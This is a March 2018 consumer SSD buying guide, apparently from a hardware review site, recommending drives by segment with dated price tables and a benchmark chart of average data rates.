Since the Holiday 2017 sales, SSD prices in general have declined a small amount. New models using 64-layer 3D TLC NAND flash memory are trickling in, with companies beyond the major NAND manufacturers now offering drives using the latest flash. The most interesting market shifts have been in the growing entry-level NVMe segment, where a new generation of low-cost NVMe controllers has arrived to bring prices even closer to SATA levels while still offering a clear performance advantage.

March 2018 SSD Recommendations
Market Segment Recommendations
Mainstream 2.5″ SATA Crucial MX500 500GB $129.99 (26¢/GB)
Entry-level NVMe MyDigitalSSD SBX 512GB $159.99 (31¢/GB)
High-end NVMe Samsung 960 EVO 1TB $449.99 (45¢/GB)
M.2 SATA WD Blue 3D NAND 2TB $471.41 (24¢/GB)

Above are some recommendations of good deals in each market segment. Several of these aren’t the cheapest option in their segment and instead are quality products worth paying a little extra for.

The next table is a rough summary of what constitutes a good deal on a current model in today’s market. Sales that don’t beat these prices are only worth a second glance if the drive is nicer than average for its product segment.

March 2018 SSD Recommendations: Price to Beat, ¢/GB
Market Segment 128GB 256GB 512GB 1TB 2TB
Mainstream 2.5″ SATA 50 ¢/GB 32 ¢/GB 26 ¢/GB 25 ¢/GB 25 ¢/GB
Entry-level NVMe 47 ¢/GB 37 ¢/GB 31 ¢/GB 33 ¢/GB
High-end NVMe 48 ¢/GB 45 ¢/GB 61 ¢/GB
M.2 SATA 37 ¢/GB 30 ¢/GB 29 ¢/GB 27 ¢/GB 24 ¢/GB

As always, the prices shown are merely a snapshot at the time of writing. We make no attempt to predict when or where the best discounts will be. Instead, this guide should be treated as a baseline against which deals can be compared. All of the drives recommended here are models we have tested in at least one capacity or form factor, but in many cases we have not tested every capacity and form factor. For drives not mentioned in this guide, our SSD Bench database can provide performance information and comparisons.

Mainstream 2.5″ SATA: Crucial MX500WD Blue 3D/SanDisk Ultra 3D

The largest segment of the consumer SSD market is 2.5″ SATA drives intended for use as either the only storage device in the system, or as the primary drive holding the OS and most programs and data. This market segment has by far the widest range of choices, and virtually every SSD brand has at least one model for this segment.

These days, the best options for a mainstream SATA drive are all at least 240GB. This is large enough for the operating system and all your everyday applications and data, but not necessarily enough for a large library of games, movies or photos. Our recommendations in this segment now all use 3D NAND flash. Older models using planar NAND tend to be much slower if they use TLC, and either more expensive or hard to find if they use MLC.

240-256GB 480-525GB 1TB 2TB
Samsung 860 EVO $94.99 (38¢/GB) $149.99 (30¢/GB) $289.99 (29¢/GB) $607.91 (30¢/GB)
Samsung 850 EVO $84.99 (34¢/GB) $162.71 (33¢/GB) $349.99 (35¢/GB) $629.99 (31¢/GB)
WD Blue 3D NAND $79.99 (32¢/GB) $134.99 (27¢/GB) $259.99 (26¢/GB) $499.99 (25¢/GB)
SanDisk Ultra 3D $74.99 (30¢/GB) $129.99 (26¢/GB) $249.99 (25¢/GB) $699.99 (35¢/GB)
Crucial MX500 $79.99 (32¢/GB) $129.99 (26¢/GB) $249.99 (25¢/GB) $499.99 (25¢/GB)
Crucial MX300 $89.99 (33¢/GB) $139.89 (27¢/GB) $264.99 (25¢/GB) $519.99 (25¢/GB)
Crucial BX300 $87.99 (37¢/GB) $144.99 (30¢/GB)
Intel 545s $69.99 (27¢/GB) $137.99 (27¢/GB)

There’s a great sale price on the 256GB Intel 545s today, but otherwise the Crucial MX500 offers the best value with great performance and some of the lowest prices from a mainstream 2.5″ SSD. Anything significantly cheaper than the MX500 is either a short-lived clearance sale or a much slower drive.

NVMe SSDs

The market for consumer NVMe SSDs has broadened enough to be split into entry-level and high-end segments. Drives with low-end PCIe 3 x2 SSD controllers are becoming more common, and some drives with four-lane controllers are competitively priced for that segment.

Almost all consumer NVMe SSDs use the M.2 2280 form factor, but a handful are PCIe add-in cards. The heatsinks on many of the add-in cards tend to increase the price while making no meaningful difference to real-world performance, so our recommendation for NVMe SSDs are all M.2 form factor SSDs.

Samsung’s replacements for the 960 PRO and 960 EVO have not been announced, and while Toshiba’s XG5 offers a preview of what they can offer, a retail version has not been announced. Western Digital/SanDisk have announced their first client NVMe SSDs, but they haven’t started shipping. Most of the recent action in the NVMe market has been in the low-end segment, with the launch of the Intel 760p and the arrival of drives based on the Phison E8 controller.

High-end NVMe: Samsung 960 EVO and Samsung 960 PRO

The Intel Optane SSD 900P raises the bar for high-end SSD performance, but that speed comes at a steep cost. The price per GB of the 900P is more than twice that of the fastest flash-based SSD. The Optane SSD 800P offers slightly lower performance in an M.2 SSD, but at very low capacities and with even higher price per GB. Almost everyone would be better served by a much larger Samsung 960 drive that usually feels just as fast. The 960 PRO’s performance advantage over a 960 EVO of the same capacity can look impressive in benchmark charts, but is not noticeable enough during real-world use to justify the price premium.

High-End NVMe - ATSB - The Destroyer (Data Rate)

This high-end level of performance is currently hard to obtain from a 256GB-class drive: the 250GB 960 EVO is much slower than its larger siblings, and there isn’t a 256GB 960 PRO. Most new competitors in the high-end space will face similar challenges to hitting premium performance levels at this capacity point when using 256Gb or 512Gb 3D TLC NAND.

Above 250GB, the Samsung 960 EVO is plenty fast even for a high-end system, and the extra expense of the 960 PRO is unnecessary.

Samsung 960 EVO 500GB
On Amazon
250GB 500-512GB 1TB 2TB
Samsung 960 EVO $119.99 (48¢/GB) $238.65 (48¢/GB) $449.99 (45¢/GB);
Samsung 960 PRO $302.45 (59¢/GB) $608.99 (59¢/GB) $1253.97 (61¢/GB)
Intel Optane SSD 900P $349.99 (125¢/GB) 529.99 (110¢/GB)

Entry-level NVMe: Intel 760p and MyDigitalSSD SBX

Low-end NVMe controllers from Phison and Silicon Motion have arrived, but so has the Intel 760p with a much nicer SM2262 four-lane, eight-channel controller. The 760p was very competitively priced when it launched, but prices have since climbed up to the level of the Samsung 960 EVO. This may be a short-term effect of the initial supplies being mostly sold out, in which case the 760p should soon return to its launch prices. In the meantime, the MyDigitalSSD SBX uses the Phison E8 controller and Toshiba 3D TLC to hit very low prices for an NVMe SSD. We will have our full review of the SBX ready soon, but for now we can say that its performance is lower than the Intel 760p but still better than SATA drives.

120-128GB 240-256GB 480-512GB 1TB
MyDigitalSSD SBX $59.99 (47¢/GB) $94.99 (37¢/GB) $159.99 (31¢/GB) $339.99 (33¢/GB)
Samsung 960 EVO $119.99 (48¢/GB) $238.65 (48¢/GB) $449.99 (45¢/GB)
Intel SSD 760p $82.74 (65¢/GB) $122.25 (48¢/GB) $224.10 (44¢/GB)

 

M.2 SATA: Crucial MX300 and WD Blue 3D

For notebooks, M.2 SATA has almost completely replaced mSATA. A few notebooks are using the shorter M.2 2242 or 2260 sizes, but most support up to the 80mm length. There are far fewer M.2 SATA options than 2.5″ SATA options, but most of the current top SATA SSDs come in M.2 versions. The Samsung 860 EVO is in the process of replacing the 850 EVO as the fastest drive in this category, and the Crucial MX500’s M.2 variants will be arriving soon.

WD Blue 3D
On Amazon
250-275GB 500-525GB 1TB 2TB
Samsung 860 EVO M.2 $94.99 (38¢/GB) $169.99 (34¢/GB) $289.99 (29¢/GB) $745.87 (37¢/GB)
Crucial MX300 M.2 $89.99 (33¢/GB) $139.99 (27¢/GB) $276.66 (26¢/GB)
WD Blue 3D M.2 $73.99 (30¢/GB) $129.99 (26¢/GB) $270.00 (27¢/GB) $471.41 (24¢/GB)

SSD 2017 SSD 2017 Benchmarks

Bench Results

ATSB — The Destroyer (Data Rate)
Average Data Rate in MB/s — Higher is Better

Product Ratings & Comparisons

Samsung 960 PRO 2TB
Samsung Polaris — Samsung 256Gb 48L MLC V-NAND     1139.34
Samsung 950 PRO 512GB
Samsung UBX — Samsung 128Gb 32L MLC V-NAND     980.79
Samsung 960 EVO 1TB
Samsung Polaris — Samsung 256Gb 48L TLC V-NAND     904.31
Intel SSD 750 1.2TB
Intel CH29AE41AB0 — Intel 128Gb 20nm MLC     878.48
OCZ RD400 1TB
Toshiba TC58NCP070 — Toshiba 15nm MLC     764.49
OCZ RD400A 512GB
Toshiba TC58NCP070 — Toshiba 15nm MLC     703.63
Toshiba XG5 1TB
Toshiba TC58NCP090 — Toshiba 512Gb 64L 3D TLC     657.79
Plextor M8PeY 512GB
Marvell 88SS1093 — Toshiba 15nm MLC     647.54
Samsung 950 PRO 256GB
Samsung UBX — Samsung 128Gb 32L MLC V-NAND     634.56
OCZ RD400 256GB
Toshiba TC58NCP070 — Toshiba 15nm MLC     539.69
Corsair Neutron NX500 400GB
Phison PS5007-E7 — Toshiba 15nm MLC     464.27
Zotac SONIX 480GB
Phison PS5007-E7 — Toshiba 15nm MLC     418.45
Patriot Hellfire 480GB
Phison PS5007-E7 — Toshiba 15nm MLC     379.57
Western Digital WD Black 512GB
Marvell 88SS1093 — SanDisk 15nm TLC     350.2
Samsung 850 PRO 1TB
Samsung MEX — Samsung 86Gb 32L MLC V-NAND     330.34
Samsung 850 PRO 512GB
Samsung MEX — Samsung 86Gb 32L MLC V-NAND     326.42
Samsung 850 EVO 1TB
Samsung MEX — Samsung 128Gb 32L TLC V-NAND     317.33
Patriot Ignite 960GB
Phison PS3110-S10-X — Toshiba 15nm MLC     317.07
Team T-Force Cardea 240GB
Phison PS5007-E7 — Toshiba 15nm MLC     314.55
Crucial BX300 480GB
Silicon Motion SM2258 — Micron 256Gb 32L 3D MLC     302.74
PNY CS2211 480GB
Phison PS3110-S10-X — Toshiba 15nm MLC     302.29
Intel SSD 545s 512GB
Silicon Motion SM2259 — Intel 256Gb 64L 3D TLC     301.32
SanDisk Ultra 3D 1TB
Marvell 88SS1074 — SanDisk 64L 3D TLC     298.03
WD Blue 1TB 3D NAND
Marvell 88SS1074 — SanDisk 64L 3D TLC     297.45
Western Digital WD Blue 1TB
Marvell 88SS1074 — SanDisk 15nm TLC     295.87
OCZ VX500 1024GB
Toshiba TC358790XBG — Toshiba 15nm MLC     294.51
SanDisk X400 1TB
Marvell 88SS1074 — SanDisk 15nm TLC     276.98
Samsung 850 EVO 500GB
Samsung MGX — Samsung 128Gb 32L TLC V-NAND     275.83
Crucial MX300 1050GB
Marvell 88SS1074 — Micron 348Gb 32L 3D TLC     271.61
Samsung 960 EVO 250GB
Samsung Polaris — Samsung 128Gb 48L TLC V-NAND     269.45
OCZ VX500 512GB
Toshiba TC358790XBG — Toshiba 15nm MLC     264.15
PNY CS2211 240GB
Phison PS3110-S10C-12 — Toshiba 15nm MLC     252.56
OCZ Trion 150 960GB
Toshiba TC58NC1000 — Toshiba 256Gb 15nm TLC     252.48
Intel SSD 600p 512GB
Silicon Motion SM2260 — Intel 384Gb 32L 3D TLC     248.21
Crucial MX200 500GB
Marvell 88SS9189 — Micron 128Gb 16nm MLC     234.98
ADATA XPG SX950 480GB
Silicon Motion SM2258 — Micron 256Gb 32L 3D MLC     234.2
OCZ Trion 150 480GB
Toshiba TC58NC1000 — Toshiba 128Gb 15nm TLC     222.95
PNY CS1311 480GB
Phison PS3110-S10-X — Toshiba 15nm TLC     217.9
Crucial MX300 525GB
Marvell 88SS1074 — Micron 348Gb 32L 3D TLC     214.59
Intel SSD 540s 480GB
Silicon Motion SM2258 — Hynix 16nm TLC     214.49
OCZ VX500 256GB
Toshiba TC358790XBG — Toshiba 15nm MLC     204.96
HP S700 Pro 512GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     190.51
ADATA Ultimate SU800 512GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     189.12
Toshiba TR200 960GB
Toshiba TC58NC1010 — Toshiba 512Gb 64L 3D TLC     176.73
OCZ Trion 150 240GB
Toshiba TC58NC1000 — Toshiba 128Gb 15nm TLC     176.66
Crucial BX200 480GB
Silicon Motion SM2256 — Micron 128Gb 16nm TLC     160.36
Samsung 850 PRO 256GB
Samsung MEX — Samsung 86Gb 32L MLC V-NAND     160.05
Samsung 850 EVO 250GB
Samsung MGX — Samsung 128Gb 32L TLC V-NAND     155.3
HP S700 500GB
Silicon Motion SM2258XT — Micron 384Gb 32L 3D TLC     136.72
Toshiba TR200 480GB
Toshiba TC58NC1010 — Toshiba 256Gb 64L 3D TLC     123.74
HP S700 Pro 256GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     122.76
ADATA Ultimate SU800 256GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     116.84
HP S700 250GB
Silicon Motion SM2258XT — Micron 384Gb 32L 3D TLC     100.16
Toshiba TR200 240GB
Toshiba TC58NC1010 — Toshiba 256Gb 64L 3D TLC     91.54
ADATA Ultimate SU800 128GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     60.87
HP S700 Pro 128GB
Silicon Motion SM2258 — Micron 384Gb 32L 3D TLC     54.04
HP S700 120GB
Silicon Motion SM2258XT — Micron 384Gb 32L 3D TLC     45.76